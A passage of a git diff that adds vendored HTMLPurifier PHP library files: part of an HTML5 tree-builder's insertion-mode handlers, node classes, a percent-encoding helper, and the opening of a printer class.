+ /* First, if the current node is an option element, and the node
+ immediately before it in the stack of open elements is an optgroup
+ element, then act as if an end tag with the tag name "option" had
+ been seen. */
+ $elements_in_stack = count($this->stack);
+
+ if ($this->stack[$elements_in_stack - 1]->nodeName === 'option' &&
+ $this->stack[$elements_in_stack - 2]->nodeName === 'optgroup'
+ ) {
+ $this->inSelect(
+ array(
+ 'name' => 'option',
+ 'type' => HTML5::ENDTAG
+ )
+ );
+ }
+
+ /* If the current node is an optgroup element, then pop that node
+ from the stack of open elements. Otherwise, this is a parse error,
+ ignore the token. */
+ if ($this->stack[$elements_in_stack - 1] === 'optgroup') {
+ array_pop($this->stack);
+ }
+
+ /* An end tag token whose tag name is "option" */
+ } elseif ($token['type'] === HTML5::ENDTAG &&
+ $token['name'] === 'option'
+ ) {
+ /* If the current node is an option element, then pop that node
+ from the stack of open elements. Otherwise, this is a parse error,
+ ignore the token. */
+ if (end($this->stack)->nodeName === 'option') {
+ array_pop($this->stack);
+ }
+
+ /* An end tag whose tag name is "select" */
+ } elseif ($token['type'] === HTML5::ENDTAG &&
+ $token['name'] === 'select'
+ ) {
+ /* If the stack of open elements does not have an element in table
+ scope with the same tag name as the token, this is a parse error.
+ Ignore the token. (innerHTML case) */
+ if (!$this->elementInScope($token['name'], true)) {
+ // w/e
+
+ /* Otherwise: */
+ } else {
+ /* Pop elements from the stack of open elements until a select
+ element has been popped from the stack. */
+ while (true) {
+ $current = end($this->stack)->nodeName;
+ array_pop($this->stack);
+
+ if ($current === 'select') {
+ break;
+ }
+ }
+
+ /* Reset the insertion mode appropriately. */
+ $this->resetInsertionMode();
+ }
+
+ /* A start tag whose tag name is "select" */
+ } elseif ($token['name'] === 'select' &&
+ $token['type'] === HTML5::STARTTAG
+ ) {
+ /* Parse error. Act as if the token had been an end tag with the
+ tag name "select" instead. */
+ $this->inSelect(
+ array(
+ 'name' => 'select',
+ 'type' => HTML5::ENDTAG
+ )
+ );
+
+ /* An end tag whose tag name is one of: "caption", "table", "tbody",
+ "tfoot", "thead", "tr", "td", "th" */
+ } elseif (in_array(
+ $token['name'],
+ array(
+ 'caption',
+ 'table',
+ 'tbody',
+ 'tfoot',
+ 'thead',
+ 'tr',
+ 'td',
+ 'th'
+ )
+ ) && $token['type'] === HTML5::ENDTAG
+ ) {
+ /* Parse error. */
+ // w/e
+
+ /* If the stack of open elements has an element in table scope with
+ the same tag name as that of the token, then act as if an end tag
+ with the tag name "select" had been seen, and reprocess the token.
+ Otherwise, ignore the token. */
+ if ($this->elementInScope($token['name'], true)) {
+ $this->inSelect(
+ array(
+ 'name' => 'select',
+ 'type' => HTML5::ENDTAG
+ )
+ );
+
+ $this->mainPhase($token);
+ }
+
+ /* Anything else */
+ } else {
+ /* Parse error. Ignore the token. */
+ }
+ }
+
+ private function afterBody($token)
+ {
+ /* Handle the token as follows: */
+
+ /* A character token that is one of one of U+0009 CHARACTER TABULATION,
+ U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
+ or U+0020 SPACE */
+ if ($token['type'] === HTML5::CHARACTR &&
+ preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])
+ ) {
+ /* Process the token as it would be processed if the insertion mode
+ was "in body". */
+ $this->inBody($token);
+
+ /* A comment token */
+ } elseif ($token['type'] === HTML5::COMMENT) {
+ /* Append a Comment node to the first element in the stack of open
+ elements (the html element), with the data attribute set to the
+ data given in the comment token. */
+ $comment = $this->dom->createComment($token['data']);
+ $this->stack[0]->appendChild($comment);
+
+ /* An end tag with the tag name "html" */
+ } elseif ($token['type'] === HTML5::ENDTAG && $token['name'] === 'html') {
+ /* If the parser was originally created in order to handle the
+ setting of an element's innerHTML attribute, this is a parse error;
+ ignore the token. (The element will be an html element in this
+ case.) (innerHTML case) */
+
+ /* Otherwise, switch to the trailing end phase. */
+ $this->phase = self::END_PHASE;
+
+ /* Anything else */
+ } else {
+ /* Parse error. Set the insertion mode to "in body" and reprocess
+ the token. */
+ $this->mode = self::IN_BODY;
+ return $this->inBody($token);
+ }
+ }
+
+ private function inFrameset($token)
+ {
+ /* Handle the token as follows: */
+
+ /* A character token that is one of one of U+0009 CHARACTER TABULATION,
+ U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
+ U+000D CARRIAGE RETURN (CR), or U+0020 SPACE */
+ if ($token['type'] === HTML5::CHARACTR &&
+ preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])
+ ) {
+ /* Append the character to the current node. */
+ $this->insertText($token['data']);
+
+ /* A comment token */
+ } elseif ($token['type'] === HTML5::COMMENT) {
+ /* Append a Comment node to the current node with the data
+ attribute set to the data given in the comment token. */
+ $this->insertComment($token['data']);
+
+ /* A start tag with the tag name "frameset" */
+ } elseif ($token['name'] === 'frameset' &&
+ $token['type'] === HTML5::STARTTAG
+ ) {
+ $this->insertElement($token);
+
+ /* An end tag with the tag name "frameset" */
+ } elseif ($token['name'] === 'frameset' &&
+ $token['type'] === HTML5::ENDTAG
+ ) {
+ /* If the current node is the root html element, then this is a
+ parse error; ignore the token. (innerHTML case) */
+ if (end($this->stack)->nodeName === 'html') {
+ // Ignore
+
+ } else {
+ /* Otherwise, pop the current node from the stack of open
+ elements. */
+ array_pop($this->stack);
+
+ /* If the parser was not originally created in order to handle
+ the setting of an element's innerHTML attribute (innerHTML case),
+ and the current node is no longer a frameset element, then change
+ the insertion mode to "after frameset". */
+ $this->mode = self::AFTR_FRAME;
+ }
+
+ /* A start tag with the tag name "frame" */
+ } elseif ($token['name'] === 'frame' &&
+ $token['type'] === HTML5::STARTTAG
+ ) {
+ /* Insert an HTML element for the token. */
+ $this->insertElement($token);
+
+ /* Immediately pop the current node off the stack of open elements. */
+ array_pop($this->stack);
+
+ /* A start tag with the tag name "noframes" */
+ } elseif ($token['name'] === 'noframes' &&
+ $token['type'] === HTML5::STARTTAG
+ ) {
+ /* Process the token as if the insertion mode had been "in body". */
+ $this->inBody($token);
+
+ /* Anything else */
+ } else {
+ /* Parse error. Ignore the token. */
+ }
+ }
+
+ private function afterFrameset($token)
+ {
+ /* Handle the token as follows: */
+
+ /* A character token that is one of one of U+0009 CHARACTER TABULATION,
+ U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
+ U+000D CARRIAGE RETURN (CR), or U+0020 SPACE */
+ if ($token['type'] === HTML5::CHARACTR &&
+ preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])
+ ) {
+ /* Append the character to the current node. */
+ $this->insertText($token['data']);
+
+ /* A comment token */
+ } elseif ($token['type'] === HTML5::COMMENT) {
+ /* Append a Comment node to the current node with the data
+ attribute set to the data given in the comment token. */
+ $this->insertComment($token['data']);
+
+ /* An end tag with the tag name "html" */
+ } elseif ($token['name'] === 'html' &&
+ $token['type'] === HTML5::ENDTAG
+ ) {
+ /* Switch to the trailing end phase. */
+ $this->phase = self::END_PHASE;
+
+ /* A start tag with the tag name "noframes" */
+ } elseif ($token['name'] === 'noframes' &&
+ $token['type'] === HTML5::STARTTAG
+ ) {
+ /* Process the token as if the insertion mode had been "in body". */
+ $this->inBody($token);
+
+ /* Anything else */
+ } else {
+ /* Parse error. Ignore the token. */
+ }
+ }
+
+ private function trailingEndPhase($token)
+ {
+ /* After the main phase, as each token is emitted from the tokenisation
+ stage, it must be processed as described in this section. */
+
+ /* A DOCTYPE token */
+ if ($token['type'] === HTML5::DOCTYPE) {
+ // Parse error. Ignore the token.
+
+ /* A comment token */
+ } elseif ($token['type'] === HTML5::COMMENT) {
+ /* Append a Comment node to the Document object with the data
+ attribute set to the data given in the comment token. */
+ $comment = $this->dom->createComment($token['data']);
+ $this->dom->appendChild($comment);
+
+ /* A character token that is one of one of U+0009 CHARACTER TABULATION,
+ U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
+ or U+0020 SPACE */
+ } elseif ($token['type'] === HTML5::CHARACTR &&
+ preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])
+ ) {
+ /* Process the token as it would be processed in the main phase. */
+ $this->mainPhase($token);
+
+ /* A character token that is not one of U+0009 CHARACTER TABULATION,
+ U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
+ or U+0020 SPACE. Or a start tag token. Or an end tag token. */
+ } elseif (($token['type'] === HTML5::CHARACTR &&
+ preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) ||
+ $token['type'] === HTML5::STARTTAG || $token['type'] === HTML5::ENDTAG
+ ) {
+ /* Parse error. Switch back to the main phase and reprocess the
+ token. */
+ $this->phase = self::MAIN_PHASE;
+ return $this->mainPhase($token);
+
+ /* An end-of-file token */
+ } elseif ($token['type'] === HTML5::EOF) {
+ /* OMG DONE!! */
+ }
+ }
+
+ private function insertElement($token, $append = true, $check = false)
+ {
+ // Proprietary workaround for libxml2's limitations with tag names
+ if ($check) {
+ // Slightly modified HTML5 tag-name modification,
+ // removing anything that's not an ASCII letter, digit, or hyphen
+ $token['name'] = preg_replace('/[^a-z0-9-]/i', '', $token['name']);
+ // Remove leading hyphens and numbers
+ $token['name'] = ltrim($token['name'], '-0..9');
+ // In theory, this should ever be needed, but just in case
+ if ($token['name'] === '') {
+ $token['name'] = 'span';
+ } // arbitrary generic choice
+ }
+
+ $el = $this->dom->createElement($token['name']);
+
+ foreach ($token['attr'] as $attr) {
+ if (!$el->hasAttribute($attr['name'])) {
+ $el->setAttribute($attr['name'], $attr['value']);
+ }
+ }
+
+ $this->appendToRealParent($el);
+ $this->stack[] = $el;
+
+ return $el;
+ }
+
+ private function insertText($data)
+ {
+ $text = $this->dom->createTextNode($data);
+ $this->appendToRealParent($text);
+ }
+
+ private function insertComment($data)
+ {
+ $comment = $this->dom->createComment($data);
+ $this->appendToRealParent($comment);
+ }
+
+ private function appendToRealParent($node)
+ {
+ if ($this->foster_parent === null) {
+ end($this->stack)->appendChild($node);
+
+ } elseif ($this->foster_parent !== null) {
+ /* If the foster parent element is the parent element of the
+ last table element in the stack of open elements, then the new
+ node must be inserted immediately before the last table element
+ in the stack of open elements in the foster parent element;
+ otherwise, the new node must be appended to the foster parent
+ element. */
+ for ($n = count($this->stack) - 1; $n >= 0; $n--) {
+ if ($this->stack[$n]->nodeName === 'table' &&
+ $this->stack[$n]->parentNode !== null
+ ) {
+ $table = $this->stack[$n];
+ break;
+ }
+ }
+
+ if (isset($table) && $this->foster_parent->isSameNode($table->parentNode)) {
+ $this->foster_parent->insertBefore($node, $table);
+ } else {
+ $this->foster_parent->appendChild($node);
+ }
+
+ $this->foster_parent = null;
+ }
+ }
+
+ private function elementInScope($el, $table = false)
+ {
+ if (is_array($el)) {
+ foreach ($el as $element) {
+ if ($this->elementInScope($element, $table)) {
+ return true;
+ }
+ }
+
+ return false;
+ }
+
+ $leng = count($this->stack);
+
+ for ($n = 0; $n < $leng; $n++) {
+ /* 1. Initialise node to be the current node (the bottommost node of
+ the stack). */
+ $node = $this->stack[$leng - 1 - $n];
+
+ if ($node->tagName === $el) {
+ /* 2. If node is the target node, terminate in a match state. */
+ return true;
+
+ } elseif ($node->tagName === 'table') {
+ /* 3. Otherwise, if node is a table element, terminate in a failure
+ state. */
+ return false;
+
+ } elseif ($table === true && in_array(
+ $node->tagName,
+ array(
+ 'caption',
+ 'td',
+ 'th',
+ 'button',
+ 'marquee',
+ 'object'
+ )
+ )
+ ) {
+ /* 4. Otherwise, if the algorithm is the "has an element in scope"
+ variant (rather than the "has an element in table scope" variant),
+ and node is one of the following, terminate in a failure state. */
+ return false;
+
+ } elseif ($node === $node->ownerDocument->documentElement) {
+ /* 5. Otherwise, if node is an html element (root element), terminate
+ in a failure state. (This can only happen if the node is the topmost
+ node of the stack of open elements, and prevents the next step from
+ being invoked if there are no more elements in the stack.) */
+ return false;
+ }
+
+ /* Otherwise, set node to the previous entry in the stack of open
+ elements and return to step 2. (This will never fail, since the loop
+ will always terminate in the previous step if the top of the stack
+ is reached.) */
+ }
+ }
+
+ private function reconstructActiveFormattingElements()
+ {
+ /* 1. If there are no entries in the list of active formatting elements,
+ then there is nothing to reconstruct; stop this algorithm. */
+ $formatting_elements = count($this->a_formatting);
+
+ if ($formatting_elements === 0) {
+ return false;
+ }
+
+ /* 3. Let entry be the last (most recently added) element in the list
+ of active formatting elements. */
+ $entry = end($this->a_formatting);
+
+ /* 2. If the last (most recently added) entry in the list of active
+ formatting elements is a marker, or if it is an element that is in the
+ stack of open elements, then there is nothing to reconstruct; stop this
+ algorithm. */
+ if ($entry === self::MARKER || in_array($entry, $this->stack, true)) {
+ return false;
+ }
+
+ for ($a = $formatting_elements - 1; $a >= 0; true) {
+ /* 4. If there are no entries before entry in the list of active
+ formatting elements, then jump to step 8. */
+ if ($a === 0) {
+ $step_seven = false;
+ break;
+ }
+
+ /* 5. Let entry be the entry one earlier than entry in the list of
+ active formatting elements. */
+ $a--;
+ $entry = $this->a_formatting[$a];
+
+ /* 6. If entry is neither a marker nor an element that is also in
+ thetack of open elements, go to step 4. */
+ if ($entry === self::MARKER || in_array($entry, $this->stack, true)) {
+ break;
+ }
+ }
+
+ while (true) {
+ /* 7. Let entry be the element one later than entry in the list of
+ active formatting elements. */
+ if (isset($step_seven) && $step_seven === true) {
+ $a++;
+ $entry = $this->a_formatting[$a];
+ }
+
+ /* 8. Perform a shallow clone of the element entry to obtain clone. */
+ $clone = $entry->cloneNode();
+
+ /* 9. Append clone to the current node and push it onto the stack
+ of open elements so that it is the new current node. */
+ end($this->stack)->appendChild($clone);
+ $this->stack[] = $clone;
+
+ /* 10. Replace the entry for entry in the list with an entry for
+ clone. */
+ $this->a_formatting[$a] = $clone;
+
+ /* 11. If the entry for clone in the list of active formatting
+ elements is not the last entry in the list, return to step 7. */
+ if (end($this->a_formatting) !== $clone) {
+ $step_seven = true;
+ } else {
+ break;
+ }
+ }
+ }
+
+ private function clearTheActiveFormattingElementsUpToTheLastMarker()
+ {
+ /* When the steps below require the UA to clear the list of active
+ formatting elements up to the last marker, the UA must perform the
+ following steps: */
+
+ while (true) {
+ /* 1. Let entry be the last (most recently added) entry in the list
+ of active formatting elements. */
+ $entry = end($this->a_formatting);
+
+ /* 2. Remove entry from the list of active formatting elements. */
+ array_pop($this->a_formatting);
+
+ /* 3. If entry was a marker, then stop the algorithm at this point.
+ The list has been cleared up to the last marker. */
+ if ($entry === self::MARKER) {
+ break;
+ }
+ }
+ }
+
+ private function generateImpliedEndTags($exclude = array())
+ {
+ /* When the steps below require the UA to generate implied end tags,
+ then, if the current node is a dd element, a dt element, an li element,
+ a p element, a td element, a th element, or a tr element, the UA must
+ act as if an end tag with the respective tag name had been seen and
+ then generate implied end tags again. */
+ $node = end($this->stack);
+ $elements = array_diff(array('dd', 'dt', 'li', 'p', 'td', 'th', 'tr'), $exclude);
+
+ while (in_array(end($this->stack)->nodeName, $elements)) {
+ array_pop($this->stack);
+ }
+ }
+
+ private function getElementCategory($node)
+ {
+ $name = $node->tagName;
+ if (in_array($name, $this->special)) {
+ return self::SPECIAL;
+ } elseif (in_array($name, $this->scoping)) {
+ return self::SCOPING;
+ } elseif (in_array($name, $this->formatting)) {
+ return self::FORMATTING;
+ } else {
+ return self::PHRASING;
+ }
+ }
+
+ private function clearStackToTableContext($elements)
+ {
+ /* When the steps above require the UA to clear the stack back to a
+ table context, it means that the UA must, while the current node is not
+ a table element or an html element, pop elements from the stack of open
+ elements. If this causes any elements to be popped from the stack, then
+ this is a parse error. */
+ while (true) {
+ $node = end($this->stack)->nodeName;
+
+ if (in_array($node, $elements)) {
+ break;
+ } else {
+ array_pop($this->stack);
+ }
+ }
+ }
+
+ private function resetInsertionMode()
+ {
+ /* 1. Let last be false. */
+ $last = false;
+ $leng = count($this->stack);
+
+ for ($n = $leng - 1; $n >= 0; $n--) {
+ /* 2. Let node be the last node in the stack of open elements. */
+ $node = $this->stack[$n];
+
+ /* 3. If node is the first node in the stack of open elements, then
+ set last to true. If the element whose innerHTML attribute is being
+ set is neither a td element nor a th element, then set node to the
+ element whose innerHTML attribute is being set. (innerHTML case) */
+ if ($this->stack[0]->isSameNode($node)) {
+ $last = true;
+ }
+
+ /* 4. If node is a select element, then switch the insertion mode to
+ "in select" and abort these steps. (innerHTML case) */
+ if ($node->nodeName === 'select') {
+ $this->mode = self::IN_SELECT;
+ break;
+
+ /* 5. If node is a td or th element, then switch the insertion mode
+ to "in cell" and abort these steps. */
+ } elseif ($node->nodeName === 'td' || $node->nodeName === 'th') {
+ $this->mode = self::IN_CELL;
+ break;
+
+ /* 6. If node is a tr element, then switch the insertion mode to
+ "in row" and abort these steps. */
+ } elseif ($node->nodeName === 'tr') {
+ $this->mode = self::IN_ROW;
+ break;
+
+ /* 7. If node is a tbody, thead, or tfoot element, then switch the
+ insertion mode to "in table body" and abort these steps. */
+ } elseif (in_array($node->nodeName, array('tbody', 'thead', 'tfoot'))) {
+ $this->mode = self::IN_TBODY;
+ break;
+
+ /* 8. If node is a caption element, then switch the insertion mode
+ to "in caption" and abort these steps. */
+ } elseif ($node->nodeName === 'caption') {
+ $this->mode = self::IN_CAPTION;
+ break;
+
+ /* 9. If node is a colgroup element, then switch the insertion mode
+ to "in column group" and abort these steps. (innerHTML case) */
+ } elseif ($node->nodeName === 'colgroup') {
+ $this->mode = self::IN_CGROUP;
+ break;
+
+ /* 10. If node is a table element, then switch the insertion mode
+ to "in table" and abort these steps. */
+ } elseif ($node->nodeName === 'table') {
+ $this->mode = self::IN_TABLE;
+ break;
+
+ /* 11. If node is a head element, then switch the insertion mode
+ to "in body" ("in body"! not "in head"!) and abort these steps.
+ (innerHTML case) */
+ } elseif ($node->nodeName === 'head') {
+ $this->mode = self::IN_BODY;
+ break;
+
+ /* 12. If node is a body element, then switch the insertion mode to
+ "in body" and abort these steps. */
+ } elseif ($node->nodeName === 'body') {
+ $this->mode = self::IN_BODY;
+ break;
+
+ /* 13. If node is a frameset element, then switch the insertion
+ mode to "in frameset" and abort these steps. (innerHTML case) */
+ } elseif ($node->nodeName === 'frameset') {
+ $this->mode = self::IN_FRAME;
+ break;
+
+ /* 14. If node is an html element, then: if the head element
+ pointer is null, switch the insertion mode to "before head",
+ otherwise, switch the insertion mode to "after head". In either
+ case, abort these steps. (innerHTML case) */
+ } elseif ($node->nodeName === 'html') {
+ $this->mode = ($this->head_pointer === null)
+ ? self::BEFOR_HEAD
+ : self::AFTER_HEAD;
+
+ break;
+
+ /* 15. If last is true, then set the insertion mode to "in body"
+ and abort these steps. (innerHTML case) */
+ } elseif ($last) {
+ $this->mode = self::IN_BODY;
+ break;
+ }
+ }
+ }
+
+ private function closeCell()
+ {
+ /* If the stack of open elements has a td or th element in table scope,
+ then act as if an end tag token with that tag name had been seen. */
+ foreach (array('td', 'th') as $cell) {
+ if ($this->elementInScope($cell, true)) {
+ $this->inCell(
+ array(
+ 'name' => $cell,
+ 'type' => HTML5::ENDTAG
+ )
+ );
+
+ break;
+ }
+ }
+ }
+
+ public function save()
+ {
+ return $this->dom;
+ }
+}
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Node.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Node.php
new file mode 100644
index 000000000..3995fec9f
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Node.php
@@ -0,0 +1,49 @@
+<?php
+
+/**
+ * Abstract base node class that all others inherit from.
+ *
+ * Why do we not use the DOM extension? (1) It is not always available,
+ * (2) it has funny constraints on the data it can represent,
+ * whereas we want a maximally flexible representation, and (3) its
+ * interface is a bit cumbersome.
+ */
+abstract class HTMLPurifier_Node
+{
+ /**
+ * Line number of the start token in the source document
+ * @type int
+ */
+ public $line;
+
+ /**
+ * Column number of the start token in the source document. Null if unknown.
+ * @type int
+ */
+ public $col;
+
+ /**
+ * Lookup array of processing that this token is exempt from.
+ * Currently, valid values are "ValidateAttributes".
+ * @type array
+ */
+ public $armor = array();
+
+ /**
+ * When true, this node should be ignored as non-existent.
+ *
+ * Who is responsible for ignoring dead nodes? FixNesting is
+ * responsible for removing them before passing on to child
+ * validators.
+ */
+ public $dead = false;
+
+ /**
+ * Returns a pair of start and end tokens, where the end token
+ * is null if it is not necessary. Does not include children.
+ * @type array
+ */
+ abstract public function toTokenPair();
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Node/Comment.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Node/Comment.php
new file mode 100644
index 000000000..38ba19394
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Node/Comment.php
@@ -0,0 +1,36 @@
+<?php
+
+/**
+ * Concrete comment node class.
+ */
+class HTMLPurifier_Node_Comment extends HTMLPurifier_Node
+{
+ /**
+ * Character data within comment.
+ * @type string
+ */
+ public $data;
+
+ /**
+ * @type bool
+ */
+ public $is_whitespace = true;
+
+ /**
+ * Transparent constructor.
+ *
+ * @param string $data String comment data.
+ * @param int $line
+ * @param int $col
+ */
+ public function __construct($data, $line = null, $col = null)
+ {
+ $this->data = $data;
+ $this->line = $line;
+ $this->col = $col;
+ }
+
+ public function toTokenPair() {
+ return array(new HTMLPurifier_Token_Comment($this->data, $this->line, $this->col), null);
+ }
+}
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Node/Element.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Node/Element.php
new file mode 100644
index 000000000..6cbf56dad
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Node/Element.php
@@ -0,0 +1,59 @@
+<?php
+
+/**
+ * Concrete element node class.
+ */
+class HTMLPurifier_Node_Element extends HTMLPurifier_Node
+{
+ /**
+ * The lower-case name of the tag, like 'a', 'b' or 'blockquote'.
+ *
+ * @note Strictly speaking, XML tags are case sensitive, so we shouldn't
+ * be lower-casing them, but these tokens cater to HTML tags, which are
+ * insensitive.
+ * @type string
+ */
+ public $name;
+
+ /**
+ * Associative array of the node's attributes.
+ * @type array
+ */
+ public $attr = array();
+
+ /**
+ * List of child elements.
+ * @type array
+ */
+ public $children = array();
+
+ /**
+ * Does this use the <a></a> form or the </a> form, i.e.
+ * is it a pair of start/end tokens or an empty token.
+ * @bool
+ */
+ public $empty = false;
+
+ public $endCol = null, $endLine = null, $endArmor = array();
+
+ public function __construct($name, $attr = array(), $line = null, $col = null, $armor = array()) {
+ $this->name = $name;
+ $this->attr = $attr;
+ $this->line = $line;
+ $this->col = $col;
+ $this->armor = $armor;
+ }
+
+ public function toTokenPair() {
+ // XXX inefficiency here, normalization is not necessary
+ if ($this->empty) {
+ return array(new HTMLPurifier_Token_Empty($this->name, $this->attr, $this->line, $this->col, $this->armor), null);
+ } else {
+ $start = new HTMLPurifier_Token_Start($this->name, $this->attr, $this->line, $this->col, $this->armor);
+ $end = new HTMLPurifier_Token_End($this->name, array(), $this->endLine, $this->endCol, $this->endArmor);
+ //$end->start = $start;
+ return array($start, $end);
+ }
+ }
+}
+
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Node/Text.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Node/Text.php
new file mode 100644
index 000000000..aec916647
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Node/Text.php
@@ -0,0 +1,54 @@
+<?php
+
+/**
+ * Concrete text token class.
+ *
+ * Text tokens comprise of regular parsed character data (PCDATA) and raw
+ * character data (from the CDATA sections). Internally, their
+ * data is parsed with all entities expanded. Surprisingly, the text token
+ * does have a "tag name" called #PCDATA, which is how the DTD represents it
+ * in permissible child nodes.
+ */
+class HTMLPurifier_Node_Text extends HTMLPurifier_Node
+{
+
+ /**
+ * PCDATA tag name compatible with DTD, see
+ * HTMLPurifier_ChildDef_Custom for details.
+ * @type string
+ */
+ public $name = '#PCDATA';
+
+ /**
+ * @type string
+ */
+ public $data;
+ /**< Parsed character data of text. */
+
+ /**
+ * @type bool
+ */
+ public $is_whitespace;
+
+ /**< Bool indicating if node is whitespace. */
+
+ /**
+ * Constructor, accepts data and determines if it is whitespace.
+ * @param string $data String parsed character data.
+ * @param int $line
+ * @param int $col
+ */
+ public function __construct($data, $is_whitespace, $line = null, $col = null)
+ {
+ $this->data = $data;
+ $this->is_whitespace = $is_whitespace;
+ $this->line = $line;
+ $this->col = $col;
+ }
+
+ public function toTokenPair() {
+ return array(new HTMLPurifier_Token_Text($this->data, $this->line, $this->col), null);
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/PercentEncoder.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/PercentEncoder.php
new file mode 100644
index 000000000..18c8bbb00
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/PercentEncoder.php
@@ -0,0 +1,111 @@
+<?php
+
+/**
+ * Class that handles operations involving percent-encoding in URIs.
+ *
+ * @warning
+ * Be careful when reusing instances of PercentEncoder. The object
+ * you use for normalize() SHOULD NOT be used for encode(), or
+ * vice-versa.
+ */
+class HTMLPurifier_PercentEncoder
+{
+
+ /**
+ * Reserved characters to preserve when using encode().
+ * @type array
+ */
+ protected $preserve = array();
+
+ /**
+ * String of characters that should be preserved while using encode().
+ * @param bool $preserve
+ */
+ public function __construct($preserve = false)
+ {
+ // unreserved letters, ought to const-ify
+ for ($i = 48; $i <= 57; $i++) { // digits
+ $this->preserve[$i] = true;
+ }
+ for ($i = 65; $i <= 90; $i++) { // upper-case
+ $this->preserve[$i] = true;
+ }
+ for ($i = 97; $i <= 122; $i++) { // lower-case
+ $this->preserve[$i] = true;
+ }
+ $this->preserve[45] = true; // Dash -
+ $this->preserve[46] = true; // Period .
+ $this->preserve[95] = true; // Underscore _
+ $this->preserve[126]= true; // Tilde ~
+
+ // extra letters not to escape
+ if ($preserve !== false) {
+ for ($i = 0, $c = strlen($preserve); $i < $c; $i++) {
+ $this->preserve[ord($preserve[$i])] = true;
+ }
+ }
+ }
+
+ /**
+ * Our replacement for urlencode, it encodes all non-reserved characters,
+ * as well as any extra characters that were instructed to be preserved.
+ * @note
+ * Assumes that the string has already been normalized, making any
+ * and all percent escape sequences valid. Percents will not be
+ * re-escaped, regardless of their status in $preserve
+ * @param string $string String to be encoded
+ * @return string Encoded string.
+ */
+ public function encode($string)
+ {
+ $ret = '';
+ for ($i = 0, $c = strlen($string); $i < $c; $i++) {
+ if ($string[$i] !== '%' && !isset($this->preserve[$int = ord($string[$i])])) {
+ $ret .= '%' . sprintf('%02X', $int);
+ } else {
+ $ret .= $string[$i];
+ }
+ }
+ return $ret;
+ }
+
+ /**
+ * Fix up percent-encoding by decoding unreserved characters and normalizing.
+ * @warning This function is affected by $preserve, even though the
+ * usual desired behavior is for this not to preserve those
+ * characters. Be careful when reusing instances of PercentEncoder!
+ * @param string $string String to normalize
+ * @return string
+ */
+ public function normalize($string)
+ {
+ if ($string == '') {
+ return '';
+ }
+ $parts = explode('%', $string);
+ $ret = array_shift($parts);
+ foreach ($parts as $part) {
+ $length = strlen($part);
+ if ($length < 2) {
+ $ret .= '%25' . $part;
+ continue;
+ }
+ $encoding = substr($part, 0, 2);
+ $text = substr($part, 2);
+ if (!ctype_xdigit($encoding)) {
+ $ret .= '%25' . $part;
+ continue;
+ }
+ $int = hexdec($encoding);
+ if (isset($this->preserve[$int])) {
+ $ret .= chr($int) . $text;
+ continue;
+ }
+ $encoding = strtoupper($encoding);
+ $ret .= '%' . $encoding . $text;
+ }
+ return $ret;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer.php
new file mode 100644
index 000000000..549e4cea1
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Printer.php
@@ -0,0 +1,218 @@
+<?php
+
+// OUT OF DATE, NEEDS UPDATING!
+// USE XMLWRITER!
+
+class HTMLPurifier_Printer
+{
+
+ /**
+ * For HTML generation convenience funcs.
+ * @type HTMLPurifier_Generator
+ */
+ protected $generator;
+
+ /**
+ * For easy access.
+ * @type HTMLPurifier_Config
+ */
+ protected $config;
+
+ /**
+ * Initialize $generator.
+ */
+ public function __construct()
+ {
+ }
+
+ /**
+ * Give generator necessary configuration if possible
+ * @param HTMLPurifier_Config $config
+ */
+ public function prepareGenerator($config)
+ {
+ $all = $config->getAll();
+ $context = new HTMLPurifier_Context();
+ $this->generator = new HTMLPurifier_Generator($config, $context);
+ }
+
+ /**
+ * Main function that renders object or aspect of that object
+ * @note Parameters vary depending on printer
+ */
+ // function render() {}
+
+ /**
+ * Returns a start tag
+ * @param string $tag Tag name
+ * @param array $attr Attribute array
+ * @return string
+ */
+ protected function start($tag, $attr = array())
+ {
+ return $this->generator->generateFromToken(
+ new HTMLPurifier_Token_Start($tag, $attr ? $attr : array())
+ );
+ }
+
+ /**
+ * Returns an end tag
+ * @param string $tag Tag name
+ * @return string
+ */
+ protected function end($tag)
+ {
+ return $this->generator->generateFromToken(
+ new HTMLPurifier_Token_End($tag)
+ );
+ }
+
+ /**
+ * Prints a complete element with content inside
+ * @param string $tag Tag name
+ * @param string $contents Element contents
+ * @param array $attr Tag attributes
+ * @param bool $escape whether or not to escape contents
+ * @return string
+ */
+ protected function element($tag, $contents, $attr = array(), $escape = true)
+ {
+ return $this->start($tag, $attr) .
+ ($escape ? $this->escape($contents) : $contents) .
+ $this->end($tag);
+ }
+
+ /**
+ * @param string $tag
+ * @param array $attr
+ * @return string
+ */
+ protected function elementEmpty($tag, $attr = array())
+ {
+ return $this->generator->generateFromToken(
